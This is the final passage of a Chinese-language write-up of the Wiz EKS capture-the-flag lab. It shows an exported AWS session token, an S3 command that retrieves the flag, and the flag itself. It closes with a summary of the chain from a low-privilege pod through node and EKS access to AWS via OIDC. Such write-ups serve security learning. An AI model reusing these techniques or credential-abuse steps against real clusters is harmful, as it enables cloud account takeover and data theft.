export root@wiz-eks-challenge:~# AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEIj//////////wEaCXVzLXdlc3QtMSJHMEUCIQCWyMf4Dc3upbRIgmfGqYJSuj3mXU243dJEaxSNk/v+AQIgXKp74+fyaNLx/MIMZF3lIrN3WrpaYOQTpnhttN6YOz4qtgQIERAAGgw2ODg2NTUyNDY2ODEiDJgn3KRnm+MlHEVLUyqTBD5b7l11y4B6mYtJKxyvMnFkmhQviq5D/LwbcFEJS88MflU1LQcODdff58MyWh2J/842/hgm7ChxmK/JYlTOVCS8KaHtCQtva+4rfGqOkVgQVreCQeSgc+xfSrf292biZAL5W3dzI5eGeAy7wvQFilYj4DBNM+y/fxiaO1R4+qNSXushw86mTTyi3eKRG1BYZ9MX0flCmovPEHXmUYj0kZgAv/0Gixg552pP/9GRF3zR/nh6DZrGmfPVzUK8qQfNGsMxbXVuCU4iD38/zsY9rC+2PGehRodWaTKPjiv2tdXdJrP6eTCqsgQCtgRwL46CXozFtUMYd/Ud/epGiGt8I6BiWyFdfqsZrXjHaQg0QQlssmtJe7WLaYW4oOIik/jkK4yQWxRHSlJBrf/b/EHFPQfdzYxSINEKl+Tc4BKzJJzxPvxqXfGi91byeaxHJBfjXYbhqelXXeC848guWlkIa8nZp4F8J6YgaaCYtFnZwljD4nHbc97ydVfDsBoJEaLSlBv8Gskm8XkLTMckdlWJYqfLXdXaBUaDf8ceH0MQ/yrJ66LiSLBnSW9vF11kn1T1Uhbsk5iTFMfXrevzeN5J9u20aTyDqxs8JegwhQcka2r1qy2Fa9b3M0CgUirHZw/2I1XTL5G+mEDVQ0wuRmAT0SkW9MOcUPqq2opSU/cV5KILvH69ACIfrjtmA48uLnQsex1/wTDB6Y+sBjqVAbE/nF/w+6L+qrQXWt+SNcXV7u4ovIy2PGgTIdQotPUTCZSa6vwfohFFTdC91Stl/Wtpxw6nexTL7axTHQSmGMgaqDGOioF5DEp8LNYk6PUFFjwavUs2GX51YQpHL1lkh/jd5gbAyl0MDQbyukv1WVHYg8Y1a9Cm2Nd0aeyVAUJHjoOkg2kymCJPfIbQfr9fjkLl6+zV
aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag ./flag
(图13:成功获取Flag)
wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}
后记
这五道题总体来说难度不是很高,Secret的不安全编码问题、imagePullSecrets的安全问题、集群权限策略过大问题、镜像构建时的信息安全、对元数据的利用、以及IAM策略安全,这些都是常见的云原生安全问题,并且都是常见场景,与其是考察云原生的攻击思路,倒不如说是考察信息获取,官方文档的理解能力,但这个靶场确是十分的精彩。从第一题最低的POD权限开始进行利用,然后一步步拿到Node权限,再到EKS权限,最终通过OIDC横向到AWS权限,环环相扣,能学到非常多的东西。
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